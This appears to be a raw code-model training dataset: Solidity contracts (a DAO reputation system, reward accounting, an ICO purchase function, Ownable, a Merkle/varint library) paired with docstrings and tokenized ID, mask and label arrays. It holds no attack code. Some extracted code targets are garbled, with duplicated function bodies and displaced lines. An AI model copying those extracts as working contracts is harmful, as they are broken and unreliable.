uint256 _blockStart,
uint256 _blockEnd
) internal virtual returns (bool) {
_update(_contract, _blockStart, _blockEnd);
_audit(_contract, _user, contractToUsers[_contract][_user].amount - _value);
totalProductivity[_contract] = totalProductivity[_contract] - _value;
return true;
}
/**
* @dev Query user's pending reward with updated variables
* @param _contract the contract to calcualte the rewards for
* @param _blockStart the block from which the contract is eligble for rewards
* @param _blockEnd the block from which the contract is no longer eligble for rewards
* @param _user the user to calculate rewards for
* @return returns amount of user's earned but not minted rewards
*/
function getUserPendingReward(
address _contract,
uint256 _blockStart,
uint256 _blockEnd,
address _user
) public view returns (uint256) {
UserInfo memory userInfo = contractToUsers[_contract][_user];
uint256 pending = 0;
if (totalProductivity[_contract] != 0) {
(, uint256 _accAmountPerShare) = _calcUpdate(
_contract,
_blockStart,
_blockEnd
);
pending = userInfo.rewardEarn;
pending +=
(userInfo.amount * _accAmountPerShare) /
1e27 -
userInfo.rewardDebt; // Divide 1e27(because userinfo.amount in 18 decimals and accAmountPerShare is in 27decimals) since rewardDebt in 18 decimals so we can calculate how much reward earned in that cycle
}
return pending;
}
/**
@dev Calculate earned rewards of the user and update their reward info
* @param _contract address of the contract for accounting
* @param _user address of the user that will be accounted
* @param _blockStart the block from which the contract is eligble for rewards
* @param _blockEnd the block from which the contract is no longer eligble for rewards
* @return returns minted amount
*/
function _issueEarnedRewards(
address _contract,
address _user,
uint256 _blockStart,
uint256 _blockEnd
) internal returns (uint256) {
_update(_contract, _blockStart, _blockEnd);
_audit(_contract, _user, contractToUsers[_contract][_user].amount);
uint128 amount = contractToUsers[_contract][_user].rewardEarn;
contractToUsers[_contract][_user].rewardMinted += amount;
contractToUsers[_contract][_user].rewardEarn = 0;
rewardsMintedSoFar[_contract] = rewardsMintedSoFar[_contract] + amount;
return amount;
}
/**
* @return Returns how much productivity a user has and total productivity.
*/
function getProductivity(address _contract, address _user)
public
view
virtual
returns (uint256, uint256)
{
return (
contractToUsers[_contract][_user].amount,
totalProductivity[_contract]
);
}
/**
* @return Returns the current gross product rate.
*/
function totalRewardsPerShare(address _contract)
public
view
virtual
returns (uint256)
{
return accAmountPerShare[_contract];
}
// for upgrades
uint256[50] private _gap;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.0;
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "../utils/DAOUpgradeableContract.sol";
/**
* based on https://github.com/daostack/infra/blob/60a79a1be02942174e21156c3c9655a7f0695dbd/contracts/Reputation.sol
* @title Reputation system
* @dev A DAO has Reputation System which allows peers to rate other peers in order to build trust .
* A reputation is used to assign influence measure to a DAO'S peers.
* Reputation is similar to regular tokens but with one crucial difference: It is non-transferable.
* The Reputation contract maintain a map of address to reputation value.
* It provides an only minter role functions to mint and burn reputation _to (or _from) a specific address.
*/
contract Reputation is DAOUpgradeableContract, AccessControlUpgradeable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string public name;
string public symbol;
uint8 public decimals; //Number of decimals of the smallest unit
// Event indicating minting of reputation to an address.
event Mint(address indexed _to, uint256 _amount);
// Event indicating burning of reputation for an address.
event Burn(address indexed _from, uint256 _amount);
uint256 private constant ZERO_HALF_256 = 0xffffffffffffffffffffffffffffffff;
/// @dev `Checkpoint` is the structure that attaches a block number to a
/// given value, the block number attached is the one that last changed the
/// value
//Checkpoint is uint256 :
// bits 0-127 `fromBlock` is the block number that the value was generated from
// bits 128-255 `value` is the amount of reputation at a specific block number
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping(address => uint256[]) public balances;
// Tracks the history of the `totalSupply` of the reputation
uint256[] public totalSupplyHistory;
/**
* @dev initialize
*/
function initialize(INameService _ns) public initializer {
__Reputation_init(_ns);
}
function __Reputation_init(INameService _ns) internal {
decimals = 18;
name = "GoodDAO";
symbol = "GOOD";
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
setDAO(_ns);
_setupRole(DEFAULT_ADMIN_ROLE, address(avatar));
_setupRole(MINTER_ROLE, address(avatar));
}
function _canMint() internal view virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "Reputation: need minter role");
}
/// @notice Generates `_amount` reputation that are assigned to `_owner`
/// @param _user The address that will be assigned the new reputation
/// @param _amount The quantity of reputation generated
/// @return True if the reputation are generated correctly
function mint(address _user, uint256 _amount) public returns (bool) {
_canMint();
_mint(_user, _amount);
return true;
}
function _mint(address _user, uint256 _amount)
internal
virtual
returns (uint256)
{
uint256 curTotalSupply = totalSupplyLocalAt(block.number);
uint256 previousBalanceTo = balanceOfLocalAt(_user, block.number);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return _amount;
}
/// @notice Burns `_amount` reputation from `_owner`
/// @param _user The address that will lose the reputation
/// @param _amount The quantity of reputation to burn
/// @return True if the reputation are burned correctly
function burn(address _user, uint256 _amount) public returns (bool) {
//user can burn his own rep other wise we check _canMint
if (_user != _msgSender()) _canMint();
_burn(_user, _amount);
return true;
}
function _burn(address _user, uint256 _amount)
internal
virtual
returns (uint256)
{
uint256 curTotalSupply = totalSupplyLocalAt(block.number);
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOfLocalAt(_user, block.number);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return amountBurned;
}
function balanceOfLocal(address _owner) public view returns (uint256) {
return balanceOfLocalAt(_owner, block.number);
}
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfLocalAt(address _owner, uint256 _blockNumber)
public
view
virtual
returns (uint256)
{
if (
(balances[_owner].length == 0) ||
(uint128(balances[_owner][0]) > _blockNumber)
) {
return 0;
// This will return the expected balance during normal situations
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyLocal() public view virtual returns (uint256) {
return totalSupplyLocalAt(block.number);
}
/// @notice Total amount of reputation at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of reputation at `_blockNumber`
function totalSupplyLocalAt(uint256 _blockNumber)
public
view
virtual
returns (uint256)
{
if (
(totalSupplyHistory.length == 0) ||
(uint128(totalSupplyHistory[0]) > _blockNumber)
) {
return 0;
// This will return the expected totalSupply during normal situations
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/// @dev `getValueAt` retrieves the number of reputation at a given block number
/// @param checkpoints The history of values being queried
/// @param _block The block number to retrieve the value at
/// @return The number of reputation being queried
function getValueAt(uint256[] storage checkpoints, uint256 _block)
internal
view
returns (uint256)
{
uint256 len = checkpoints.length;
if (len == 0) {
return 0;
}
// Shortcut for the actual value
uint256 cur = checkpoints[len - 1];
if (_block >= uint128(cur)) {
return cur >> 128;
}
if (_block < uint128(checkpoints[0])) {
return 0;
}
// Binary search of the value in the array
uint256 min = 0;
uint256 max = len - 1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (uint128(checkpoints[mid]) <= _block) {
min = mid;
} else {
max = mid - 1;
}
}
return checkpoints[min] >> 128;
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of reputation
function updateValueAtNow(uint256[] storage checkpoints, uint256 _value)
internal
{
require(uint128(_value) == _value, "reputation overflow"); //check value is in the 128 bits bounderies
if (
(checkpoints.length == 0) ||
(uint128(checkpoints[checkpoints.length - 1]) < block.number)
) {
checkpoints.push(uint256(uint128(block.number)) | (_value << 128));
} else {
checkpoints[checkpoints.length - 1] = uint256(
(checkpoints[checkpoints.length - 1] & uint256(ZERO_HALF_256)) |
(_value << 128)
);
}
}
} | Rewards minted to user so far
| uint128 rewardMinted; | 1,307,283 | [
1,
17631,
14727,
312,
474,
329,
358,
729,
1427,
10247,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
202,
11890,
10392,
19890,
49,
474,
329,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0x658879D8F6FF31F9F0073787904a4462ed559D85/sources/spyritICO.sol | * @dev low level token purchase DO NOT OVERRIDE This function has a non-reentrancy guard, so it shouldn't be called by another `nonReentrant` function. @param beneficiary Recipient of the token purchase/ calculate token amount to be created update state | function buyTokens(address beneficiary) public payable {
require(isActive,"Sale already ended!");
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_spyrit.safeTransfer(beneficiary, tokens);
emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens);
weiSpent[beneficiary] = weiSpent[beneficiary].add(weiAmount);
_wallet.transfer(msg.value);
}
| 4,665,883 | [
1,
821,
1801,
1147,
23701,
5467,
4269,
22577,
25382,
1220,
445,
711,
279,
1661,
17,
2842,
313,
12514,
11026,
16,
1427,
518,
12044,
1404,
506,
2566,
635,
4042,
1375,
5836,
426,
8230,
970,
68,
445,
18,
225,
27641,
74,
14463,
814,
23550,
434,
326,
1147,
23701,
19,
4604,
1147,
3844,
358,
506,
2522,
1089,
919,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
30143,
5157,
12,
2867,
27641,
74,
14463,
814,
13,
1071,
8843,
429,
288,
203,
3639,
2583,
12,
291,
3896,
10837,
30746,
1818,
16926,
4442,
1769,
203,
3639,
2254,
5034,
732,
77,
6275,
273,
1234,
18,
1132,
31,
203,
3639,
389,
1484,
4270,
23164,
12,
70,
4009,
74,
14463,
814,
16,
732,
77,
6275,
1769,
203,
203,
3639,
2254,
5034,
2430,
273,
389,
588,
1345,
6275,
12,
1814,
77,
6275,
1769,
203,
203,
3639,
389,
1814,
77,
12649,
5918,
273,
389,
1814,
77,
12649,
5918,
18,
1289,
12,
1814,
77,
6275,
1769,
203,
203,
3639,
389,
30884,
583,
18,
4626,
5912,
12,
70,
4009,
74,
14463,
814,
16,
2430,
1769,
203,
3639,
3626,
13899,
10262,
343,
8905,
24899,
3576,
12021,
9334,
27641,
74,
14463,
814,
16,
732,
77,
6275,
16,
2430,
1769,
203,
203,
3639,
732,
77,
3389,
319,
63,
70,
4009,
74,
14463,
814,
65,
273,
732,
77,
3389,
319,
63,
70,
4009,
74,
14463,
814,
8009,
1289,
12,
1814,
77,
6275,
1769,
203,
203,
3639,
389,
19177,
18,
13866,
12,
3576,
18,
1132,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x12841eba50D1606507c09e4765F9083c680eeaE9/sources/Enigma1.sol | * @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier 'onlyOwner', which can be applied to your functions to restrict their use to the owner./ | abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
| 9,426,361 | [
1,
8924,
1605,
1492,
8121,
279,
5337,
2006,
3325,
12860,
16,
1625,
1915,
353,
392,
2236,
261,
304,
3410,
13,
716,
848,
506,
17578,
12060,
2006,
358,
2923,
4186,
18,
2525,
805,
16,
326,
3410,
2236,
903,
506,
326,
1245,
716,
5993,
383,
1900,
326,
6835,
18,
1220,
848,
5137,
506,
3550,
598,
288,
13866,
5460,
12565,
5496,
1220,
1605,
353,
1399,
3059,
16334,
18,
2597,
903,
1221,
2319,
326,
9606,
296,
3700,
5541,
2187,
1492,
848,
506,
6754,
358,
3433,
4186,
358,
13108,
3675,
999,
358,
326,
3410,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
8770,
6835,
14223,
6914,
353,
1772,
288,
203,
1377,
1758,
3238,
389,
8443,
31,
203,
203,
1377,
871,
14223,
9646,
5310,
1429,
4193,
12,
2867,
8808,
2416,
5541,
16,
1758,
8808,
394,
5541,
1769,
203,
203,
203,
1377,
445,
3410,
1435,
1071,
1476,
5024,
1135,
261,
2867,
13,
288,
203,
1850,
327,
389,
8443,
31,
203,
1377,
289,
203,
203,
1377,
9606,
1338,
5541,
1435,
288,
203,
1850,
2583,
12,
8443,
1435,
422,
389,
3576,
12021,
9334,
315,
5460,
429,
30,
4894,
353,
486,
326,
3410,
8863,
203,
1850,
389,
31,
203,
1377,
289,
203,
203,
1377,
445,
1654,
8386,
5460,
12565,
1435,
1071,
5024,
1338,
5541,
288,
203,
1850,
3626,
14223,
9646,
5310,
1429,
4193,
24899,
8443,
16,
1758,
12,
20,
10019,
203,
1850,
389,
8443,
273,
1758,
12,
20,
1769,
203,
1377,
289,
203,
203,
1377,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
5024,
1338,
5541,
288,
203,
1850,
2583,
12,
2704,
5541,
480,
1758,
12,
20,
3631,
315,
5460,
429,
30,
394,
3410,
353,
326,
3634,
1758,
8863,
203,
1850,
3626,
14223,
9646,
5310,
1429,
4193,
24899,
8443,
16,
394,
5541,
1769,
203,
1850,
389,
8443,
273,
394,
5541,
31,
203,
1377,
289,
203,
203,
203,
4202,
445,
389,
13866,
5460,
12565,
12,
2867,
394,
5541,
13,
2713,
5024,
288,
203,
1850,
1758,
1592,
5541,
273,
389,
8443,
31,
203,
1850,
389,
8443,
273,
394,
5541,
31,
203,
1850,
3626,
14223,
9646,
5310,
1429,
4193,
12,
1673,
5541,
16,
394,
5541,
1769,
203,
4202,
289,
203,
203,
2
] |
./partial_match/1/0x20794b4cCcE8a6FE872E554B817709373bA5e2b8/sources/contracts/Bloom.sol | mapping of taxed pool
| mapping (address => bool) public taxedPool; | 3,610,689 | [
1,
6770,
434,
5320,
329,
2845,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
261,
2867,
516,
1426,
13,
1071,
5320,
329,
2864,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.14;
/// @dev Helper utility library for calculating Merkle proof and managing bytes.
library Utils {
/// @dev Returns the hash of a Merkle leaf node.
function merkleLeafHash(bytes memory _value)
internal
pure
returns (bytes32)
{
return sha256(abi.encodePacked(uint8(0), _value));
}
/// @dev Returns the hash of internal node, calculated from child nodes.
function merkleInnerHash(bytes32 _left, bytes32 _right)
internal
pure
returns (bytes32)
{
return sha256(abi.encodePacked(uint8(1), _left, _right));
}
/// @dev Returns the encoded bytes using signed varint encoding of the given input.
function encodeVarintSigned(uint256 _value)
internal
pure
returns (bytes memory)
{
return encodeVarintUnsigned(_value * 2);
}
/// @dev Returns the encoded bytes using unsigned varint encoding of the given input.
function encodeVarintUnsigned(uint256 _value)
internal
pure
returns (bytes memory)
{
// Computes the size of the encoded value.
uint256 tempValue = _value;
uint256 size = 0;
while (tempValue > 0) {
++size;
tempValue >>= 7;
}
// Allocates the memory buffer and fills in the encoded value.
bytes memory result = new bytes(size);
tempValue = _value;
for (uint256 idx = 0; idx < size; ++idx) {
result[idx] = bytes1(uint8(128) | uint8(tempValue & 127));
tempValue >>= 7;
}
result[size - 1] &= bytes1(uint8(127)); // Drop the first bit of the last byte.
return result;
}
}
| @dev Helper utility library for calculating Merkle proof and managing bytes. | library Utils {
function merkleLeafHash(bytes memory _value)
internal
pure
returns (bytes32)
{
return sha256(abi.encodePacked(uint8(0), _value));
}
function merkleInnerHash(bytes32 _left, bytes32 _right)
internal
pure
returns (bytes32)
{
return sha256(abi.encodePacked(uint8(1), _left, _right));
}
function encodeVarintSigned(uint256 _value)
internal
pure
returns (bytes memory)
{
return encodeVarintUnsigned(_value * 2);
}
function encodeVarintUnsigned(uint256 _value)
internal
pure
returns (bytes memory)
{
uint256 tempValue = _value;
uint256 size = 0;
while (tempValue > 0) {
++size;
tempValue >>= 7;
}
tempValue = _value;
for (uint256 idx = 0; idx < size; ++idx) {
result[idx] = bytes1(uint8(128) | uint8(tempValue & 127));
tempValue >>= 7;
}
return result;
}
function encodeVarintUnsigned(uint256 _value)
internal
pure
returns (bytes memory)
{
uint256 tempValue = _value;
uint256 size = 0;
while (tempValue > 0) {
++size;
tempValue >>= 7;
}
tempValue = _value;
for (uint256 idx = 0; idx < size; ++idx) {
result[idx] = bytes1(uint8(128) | uint8(tempValue & 127));
tempValue >>= 7;
}
return result;
}
bytes memory result = new bytes(size);
function encodeVarintUnsigned(uint256 _value)
internal
pure
returns (bytes memory)
{
uint256 tempValue = _value;
uint256 size = 0;
while (tempValue > 0) {
++size;
tempValue >>= 7;
}
tempValue = _value;
for (uint256 idx = 0; idx < size; ++idx) {
result[idx] = bytes1(uint8(128) | uint8(tempValue & 127));
tempValue >>= 7;
}
return result;
}
}
| 6,486,060 | [
1,
2276,
12788,
5313,
364,
21046,
31827,
14601,
471,
30632,
1731,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
